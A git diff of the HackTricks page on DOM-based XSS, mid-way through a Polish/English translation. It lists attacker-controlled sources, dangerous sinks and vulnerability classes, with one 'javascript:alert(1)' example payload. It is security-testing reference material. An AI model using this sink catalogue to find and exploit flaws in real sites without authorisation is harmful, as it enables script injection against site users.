* Czy pracujesz w firmie **cybersecurity**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,34 @@
|
|||
# DOM XSS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Luki w DOM
|
||||
|
||||
Luki w DOM występują, gdy dane z kontrolowanych przez atakującego **źródeł** (takich jak `location.search`, `document.referrer` lub `document.cookie`) są niebezpiecznie przekazywane do **ujść**. Ujścia to funkcje lub obiekty (np. `eval()`, `document.body.innerHTML`), które mogą wykonać lub wyrenderować szkodliwe treści, jeśli otrzymają złośliwe dane.
|
||||
|
||||
* **Źródła** to dane wejściowe, które mogą być manipulowane przez atakujących, w tym adresy URL, ciasteczka i wiadomości internetowe.
|
||||
* **Ujścia** to potencjalnie niebezpieczne punkty końcowe, gdzie złośliwe dane mogą prowadzić do niepożądanych skutków, takich jak wykonanie skryptu.
|
||||
|
||||
Ryzyko pojawia się, gdy dane przepływają z źródła do ujścia bez odpowiedniej walidacji lub oczyszczenia, umożliwiając ataki typu XSS.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Możesz znaleźć bardziej zaktualizowaną listę źródeł i ujść na** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
|
||||
{% endhint %}
|
||||
|
||||
**Powszechne źródła:**
|
||||
## DOM Vulnerabilities
|
||||
|
||||
Vulnerabilities DOM występują, gdy dane z kontrolowanych przez atakującego **źródeł** (takich jak `location.search`, `document.referrer` lub `document.cookie`) są niebezpiecznie przekazywane do **sinków**. Sinki to funkcje lub obiekty (np. `eval()`, `document.body.innerHTML`), które mogą wykonywać lub renderować szkodliwą treść, jeśli otrzymają złośliwe dane.
|
||||
|
||||
* **Źródła** to dane wejściowe, które mogą być manipulowane przez atakujących, w tym URL-e, ciasteczka i wiadomości internetowe.
|
||||
* **Sinki** to potencjalnie niebezpieczne punkty końcowe, w których złośliwe dane mogą prowadzić do negatywnych skutków, takich jak wykonanie skryptu.
|
||||
|
||||
Ryzyko pojawia się, gdy dane przepływają z źródła do sinka bez odpowiedniej walidacji lub sanitacji, co umożliwia ataki takie jak XSS.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Możesz znaleźć bardziej aktualną listę źródeł i sinków w** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
|
||||
{% endhint %}
|
||||
|
||||
**Common sources:**
|
||||
```javascript
|
||||
document.URL
|
||||
document.documentURI
|
||||
|
@ -42,12 +45,12 @@ sessionStorage
|
|||
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
|
||||
Database
|
||||
```
|
||||
**Powszechne usterki:**
|
||||
**Common Sinks:**
|
||||
|
||||
| [**Przekierowanie otwarte**](dom-xss.md#open-redirect) | [**Wstrzykiwanie JavaScript**](dom-xss.md#javascript-injection) | [**Manipulacja danymi DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** |
|
||||
| [**Open Redirect**](dom-xss.md#open-redirect) | [**Javascript Injection**](dom-xss.md#javascript-injection) | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation) | **jQuery** |
|
||||
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
||||
| `location` | `eval()` | `scriptElement.src` | `add()` |
|
||||
| `location.host` | `konstruktor Function()` | `scriptElement.text` | `after()` |
|
||||
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
|
||||
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
|
||||
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
|
||||
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
|
||||
|
@ -56,46 +59,46 @@ Database
|
|||
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
|
||||
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
|
||||
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
|
||||
| `domElem.srcdoc` | **\`\`**[**Manipulacja lokalną ścieżką pliku**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
|
||||
| `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
|
||||
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
|
||||
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
|
||||
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
|
||||
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
|
||||
| **\`\`**[**Manipulacja żądaniem Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
|
||||
| **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
|
||||
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
|
||||
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
|
||||
| `XMLHttpRequest.send()` | [**Manipulacja linkiem**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
|
||||
| `XMLHttpRequest.send()` | [**Link manipulation**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
|
||||
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
|
||||
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Wstrzykiwanie JSON po stronie klienta**](dom-xss.md#client-side-sql-injection) |
|
||||
| **\`\`**[**Manipulacja magazynem HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
|
||||
| `sessionStorage.setItem()` | [**Wstrzykiwanie XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
|
||||
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Client-side JSON injection**](dom-xss.md#client-side-sql-injection) |
|
||||
| **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
|
||||
| `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
|
||||
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
|
||||
| **``**[**`Usługa odmowy`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulacja ciasteczkami**](dom-xss.md#cookie-manipulation) |
|
||||
| `requestFileSystem()` | **\`\`**[**Manipulacja domeną dokumentu**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
|
||||
| `RegExp()` | `document.domain` | `history.pushState()` | [**Zatrucie adresu URL WebSocket**](dom-xss.md#websocket-url-poisoning) |
|
||||
| [**Wstrzykiwanie SQL po stronie klienta**](dom-xss.md#client-side-sql-injection) | [**Manipulacja wiadomością sieciową**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
|
||||
| **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation) |
|
||||
| `requestFileSystem()` | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
|
||||
| `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning) |
|
||||
| [**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection) | [**Web-message manipulation**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
|
||||
| `executeSql()` | `postMessage()` | \`\` | \`\` |
|
||||
|
||||
Usterka **`innerHTML`** nie akceptuje elementów `script` w żadnej nowoczesnej przeglądarce, ani nie uruchamia zdarzeń `svg onload`. Oznacza to, że będziesz musiał użyć alternatywnych elementów, takich jak `img` lub `iframe`.
|
||||
The **`innerHTML`** sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`.
|
||||
|
||||
Ten rodzaj XSS jest prawdopodobnie **najtrudniejszy do znalezienia**, ponieważ musisz przejrzeć kod JS, zobaczyć, czy **używa** jakiegokolwiek obiektu, którego **wartość kontrolujesz**, a w takim przypadku sprawdzić, czy istnieje **jakiś sposób na wykorzystanie** go do wykonania arbitralnego JS.
|
||||
This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS.
|
||||
|
||||
## Narzędzia do ich znalezienia
|
||||
## Tools to find them
|
||||
|
||||
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
|
||||
* Rozszerzenie przeglądarki do sprawdzania każdych danych docierających do potencjalnego usterki: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
|
||||
* Browser extension to check every data taht reaches a potential sink: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
|
||||
|
||||
## Przykłady
|
||||
## Examples
|
||||
|
||||
### Przekierowanie otwarte
|
||||
### Open Redirect
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
|
||||
From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
|
||||
|
||||
**Usterki przekierowania otwartego w DOM** występują, gdy skrypt zapisuje dane, którymi atakujący może sterować, do usterki zdolnej do inicjowania nawigacji między domenami.
|
||||
**Luki na otwarty przekierowanie w DOM** występują, gdy skrypt zapisuje dane, którymi może sterować atakujący, do zlewu zdolnego do inicjowania nawigacji między domenami.
|
||||
|
||||
Niezmiernie istotne jest zrozumienie, że wykonanie arbitralnego kodu, takiego jak **`javascript:alert(1)`**, jest możliwe, jeśli masz kontrolę nad początkiem adresu URL, gdzie następuje przekierowanie.
|
||||
Ważne jest, aby zrozumieć, że wykonanie dowolnego kodu, takiego jak **`javascript:alert(1)`**, jest możliwe, jeśli masz kontrolę nad początkiem URL, w którym występuje przekierowanie.
|
||||
|
||||
Usterki:
|
||||
Sinks:
|
||||
```javascript
|
||||
location
|
||||
location.host
|
||||
|
@ -115,9 +118,9 @@ $.ajax()
|
|||
```
|
||||
### Manipulacja ciasteczkami
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
||||
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
||||
|
||||
Podatności związane z manipulacją ciasteczek opartych na DOM występują, gdy skrypt włącza dane, które mogą być kontrolowane przez atakującego, do wartości ciasteczka. Ta podatność może prowadzić do nieoczekiwanego zachowania strony internetowej, jeśli ciasteczko jest wykorzystywane w obrębie witryny. Ponadto może być wykorzystana do przeprowadzenia ataku na ustalanie sesji, jeśli ciasteczko jest zaangażowane w śledzenie sesji użytkownika. Głównym źródłem związanym z tą podatnością są:
|
||||
Luki w manipulacji ciasteczkami oparte na DOM występują, gdy skrypt włącza dane, które mogą być kontrolowane przez atakującego, do wartości ciasteczka. Ta luka może prowadzić do nieoczekiwanego zachowania strony internetowej, jeśli ciasteczko jest wykorzystywane w obrębie witryny. Dodatkowo, może być wykorzystana do przeprowadzenia ataku na utrzymanie sesji, jeśli ciasteczko jest zaangażowane w śledzenie sesji użytkownika. Głównym miejscem docelowym związanym z tą luką jest:
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -125,9 +128,9 @@ document.cookie
|
|||
```
|
||||
### Wstrzykiwanie JavaScript
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
|
||||
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
|
||||
|
||||
Podatności na wstrzykiwanie JavaScript oparte na DOM są tworzone, gdy skrypt uruchamia dane, które mogą być kontrolowane przez atakującego, jako kod JavaScript.
|
||||
Luki w zabezpieczeniach związane z wstrzykiwaniem JavaScript w oparciu o DOM powstają, gdy skrypt wykonuje dane, które mogą być kontrolowane przez atakującego, jako kod JavaScript.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -142,31 +145,33 @@ msSetImmediate()
|
|||
range.createContextualFragment()
|
||||
crypto.generateCRMFRequest()
|
||||
```
|
||||
### Manipulacja document-domain
|
||||
### Manipulacja dokumentem-domeną
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
|
||||
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
|
||||
|
||||
**Luki w manipulacji document-domain** występują, gdy skrypt ustawia właściwość `document.domain` przy użyciu danych, którymi atakujący może sterować.
|
||||
**Wrażliwości na manipulację dokumentem-domeną** występują, gdy skrypt ustawia właściwość `document.domain` przy użyciu danych, którymi może kontrolować atakujący.
|
||||
|
||||
Właściwość `document.domain` odgrywa **kluczową rolę** w **egzekwowaniu** polityki **tego samego pochodzenia** przez przeglądarki. Gdy dwie strony z różnych źródeł ustawiają swoje `document.domain` na **taką samą wartość**, mogą one współdziałać bez ograniczeń. Chociaż przeglądarki narzucają pewne **ograniczenia** dotyczące wartości przypisywalnych do `document.domain`, uniemożliwiając przypisanie całkowicie niepowiązanych wartości do rzeczywistego pochodzenia strony, istnieją wyjątki. Zazwyczaj przeglądarki pozwalają na użycie **dziecięcych** lub **nadrzędnych domen**.
|
||||
Właściwość `document.domain` odgrywa **kluczową rolę** w **egzekwowaniu** **polityki tego samego pochodzenia** przez przeglądarki. Gdy dwie strony z różnych pochodzeń ustawiają swoją `document.domain` na **tę samą wartość**, mogą wchodzić w interakcje bez ograniczeń. Chociaż przeglądarki nakładają pewne **ograniczenia** na wartości przypisywane do `document.domain`, zapobiegając przypisaniu całkowicie niepowiązanych wartości do rzeczywistego pochodzenia strony, istnieją wyjątki. Zazwyczaj przeglądarki zezwalają na użycie **domen** **dzieci** lub **rodziców**.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
document.domain
|
||||
```
|
||||
### Zatrucie adresami URL WebSocket
|
||||
### WebSocket-URL poisoning
|
||||
|
||||
Zdarza się, gdy skrypt wykorzystuje **dane kontrolowalne jako adres URL docelowy** dla połączenia WebSocket.
|
||||
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
|
||||
|
||||
**WebSocket-URL poisoning** występuje, gdy skrypt wykorzystuje **kontrolowane dane jako docelowy URL** dla połączenia WebSocket.
|
||||
|
||||
Sinks:
|
||||
|
||||
Konstruktor `WebSocket` może prowadzić do podatności na zatrucie adresami URL WebSocket.
|
||||
Konstruktor `WebSocket` może prowadzić do podatności na WebSocket-URL poisoning.
|
||||
|
||||
### Manipulacja linkami
|
||||
### Link manipulation
|
||||
|
||||
Połaczenie: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
|
||||
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
|
||||
|
||||
**Podatności na manipulację linkami opartymi na DOM** pojawiają się, gdy skrypt zapisuje **dane kontrolowane przez atakującego do celu nawigacji** na bieżącej stronie, takiego jak klikalny link lub adres URL przesłania formularza.
|
||||
**Podatności na manipulację linkami w DOM** powstają, gdy skrypt zapisuje **dane kontrolowane przez atakującego do celu nawigacji** w bieżącej stronie, takie jak klikalny link lub URL przesyłania formularza.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -174,11 +179,11 @@ someDOMElement.href
|
|||
someDOMElement.src
|
||||
someDOMElement.action
|
||||
```
|
||||
### Manipulacja żądaniem Ajax
|
||||
### Manipulacja żądaniami Ajax
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
|
||||
From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
|
||||
|
||||
**Luki w manipulacji żądaniem Ajax** pojawiają się, gdy skrypt zapisuje **dane kontrolowane przez atakującego w żądaniu Ajax**, które jest wysyłane za pomocą obiektu `XmlHttpRequest`.
|
||||
**Luki w manipulacji żądaniami Ajax** powstają, gdy skrypt zapisuje **dane kontrolowane przez atakującego w żądaniu Ajax**, które jest wydawane za pomocą obiektu `XmlHttpRequest`.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -190,11 +195,11 @@ $.globalEval()
|
|||
```
|
||||
### Manipulacja lokalną ścieżką pliku
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
|
||||
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
|
||||
|
||||
**Podatności związane z manipulacją lokalną ścieżką pliku** pojawiają się, gdy skrypt przekazuje **dane kontrolowane przez atakującego do interfejsu API obsługi plików** jako parametr `filename`. Ta podatność może zostać wykorzystana przez atakującego do skonstruowania adresu URL, który, jeśli odwiedzony przez innego użytkownika, może spowodować, że **przeglądarka użytkownika otworzy lub zapisze dowolny lokalny plik**.
|
||||
**Luki w manipulacji lokalną ścieżką pliku** powstają, gdy skrypt przekazuje **dane kontrolowane przez atakującego do API obsługi plików** jako parametr `filename`. Ta luka może być wykorzystana przez atakującego do skonstruowania URL, który, jeśli zostanie odwiedzony przez innego użytkownika, może prowadzić do **otwarcia lub zapisania dowolnego lokalnego pliku w przeglądarce użytkownika**.
|
||||
|
||||
Ujścia:
|
||||
Sinks:
|
||||
```javascript
|
||||
FileReader.readAsArrayBuffer()
|
||||
FileReader.readAsBinaryString()
|
||||
|
@ -204,11 +209,11 @@ FileReader.readAsFile()
|
|||
FileReader.root.getFile()
|
||||
FileReader.root.getFile()
|
||||
```
|
||||
### Wstrzykiwanie SQL po stronie klienta
|
||||
### Client-Side SQl injection
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
|
||||
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
|
||||
|
||||
**Wstrzykiwalne SQL po stronie klienta** występują, gdy skrypt w niebezpieczny sposób **włącza dane kontrolowane przez atakującego do zapytania SQL po stronie klienta**.
|
||||
**Wrażliwości na SQL-injection po stronie klienta** występują, gdy skrypt włącza **dane kontrolowane przez atakującego do zapytania SQL po stronie klienta w niebezpieczny sposób**.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -216,20 +221,20 @@ executeSql()
|
|||
```
|
||||
### Manipulacja pamięcią HTML5
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
|
||||
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
|
||||
|
||||
**Podatności na manipulację pamięcią HTML5** pojawiają się, gdy skrypt **przechowuje dane kontrolowane przez atakującego w pamięci HTML5 przeglądarki internetowej** (`localStorage` lub `sessionStorage`). Chociaż ta czynność nie jest wrodzonym zagrożeniem bezpieczeństwa, staje się problematyczna, jeśli aplikacja następnie **odczytuje przechowywane dane i przetwarza je w sposób niebezpieczny**. Może to umożliwić atakującemu wykorzystanie mechanizmu przechowywania do przeprowadzenia innych ataków opartych na DOM, takich jak ataki typu cross-site scripting i wstrzykiwanie JavaScriptu.
|
||||
**Wrażliwości na manipulację pamięcią HTML5** pojawiają się, gdy skrypt **przechowuje dane kontrolowane przez atakującego w pamięci HTML5 przeglądarki internetowej** (`localStorage` lub `sessionStorage`). Chociaż ta akcja nie jest z natury luką w zabezpieczeniach, staje się problematyczna, jeśli aplikacja następnie **odczytuje przechowywane dane i przetwarza je w sposób niebezpieczny**. Może to pozwolić atakującemu na wykorzystanie mechanizmu pamięci do przeprowadzenia innych ataków opartych na DOM, takich jak cross-site scripting i wstrzykiwanie JavaScript.
|
||||
|
||||
Ujścia:
|
||||
Sinks:
|
||||
```javascript
|
||||
sessionStorage.setItem()
|
||||
localStorage.setItem()
|
||||
```
|
||||
### Wstrzykiwanie XPath
|
||||
### XPath injection
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
|
||||
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
|
||||
|
||||
**Podatności na wstrzykiwanie XPath oparte na DOM** występują, gdy skrypt włącza **dane kontrolowane przez atakującego do zapytania XPath**.
|
||||
**Wrażliwości na wstrzykiwanie XPath oparte na DOM** występują, gdy skrypt włącza **dane kontrolowane przez atakującego do zapytania XPath**.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -238,9 +243,9 @@ someDOMElement.evaluate()
|
|||
```
|
||||
### Wstrzykiwanie JSON po stronie klienta
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
|
||||
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
|
||||
|
||||
**Podatności na wstrzykiwanie JSON po stronie DOM** występują, gdy skrypt zawiera **dane kontrolowane przez atakującego w ciąg znaków, które są analizowane jako struktura danych JSON, a następnie przetwarzane przez aplikację**.
|
||||
**Luki w wstrzykiwaniu JSON opartym na DOM** występują, gdy skrypt włącza **dane kontrolowane przez atakującego do ciągu, który jest analizowany jako struktura danych JSON, a następnie przetwarzany przez aplikację**.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -248,21 +253,21 @@ JSON.parse()
|
|||
jQuery.parseJSON()
|
||||
$.parseJSON()
|
||||
```
|
||||
### Manipulacja wiadomościami internetowymi
|
||||
### Manipulacja wiadomościami w sieci
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
|
||||
|
||||
**Podatności związane z wiadomościami internetowymi** pojawiają się, gdy skrypt wysyła **dane kontrolowane przez atakującego jako wiadomość internetową do innego dokumentu** w przeglądarce. **Przykład** podatnej manipulacji wiadomościami internetowymi można znaleźć na stronie [PortSwigger's Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
|
||||
**Luki w wiadomościach sieciowych** powstają, gdy skrypt wysyła **dane kontrolowane przez atakującego jako wiadomość sieciową do innego dokumentu** w przeglądarce. **Przykład** podatnej manipulacji wiadomościami sieciowymi można znaleźć w [Akademii Bezpieczeństwa Sieci PortSwigger](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
|
||||
|
||||
Sinks:
|
||||
|
||||
Metoda `postMessage()` do wysyłania wiadomości internetowych może prowadzić do podatności, jeśli nasłuchiwacz zdarzeń do odbierania wiadomości obsługuje przychodzące dane w sposób niebezpieczny.
|
||||
Metoda `postMessage()` do wysyłania wiadomości sieciowych może prowadzić do luk, jeśli nasłuchujący zdarzenia do odbierania wiadomości obsługuje przychodzące dane w niebezpieczny sposób.
|
||||
|
||||
### Manipulacja danymi DOM
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
|
||||
|
||||
**Podatności związane z manipulacją danymi DOM** pojawiają się, gdy skrypt zapisuje **dane kontrolowane przez atakującego w polu wewnątrz DOM**, które jest wykorzystywane w widocznym interfejsie użytkownika lub logice po stronie klienta. Atakujący może wykorzystać tę podatność do skonstruowania adresu URL, który, jeśli odwiedzony przez innego użytkownika, może zmienić wygląd lub zachowanie interfejsu po stronie klienta.
|
||||
**Luki w manipulacji danymi DOM** powstają, gdy skrypt zapisuje **dane kontrolowane przez atakującego do pola w DOM** wykorzystywanego w widocznym interfejsie użytkownika lub logice po stronie klienta. Ta luka może być wykorzystana przez atakującego do skonstruowania URL, który, jeśli zostanie odwiedzony przez innego użytkownika, może zmienić wygląd lub zachowanie interfejsu użytkownika po stronie klienta.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -289,13 +294,13 @@ document.implementation.createHTMLDocument()
|
|||
history.pushState()
|
||||
history.replaceState()
|
||||
```
|
||||
### Usługa odmowy dostępu
|
||||
### Denial of Service
|
||||
|
||||
Z: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
|
||||
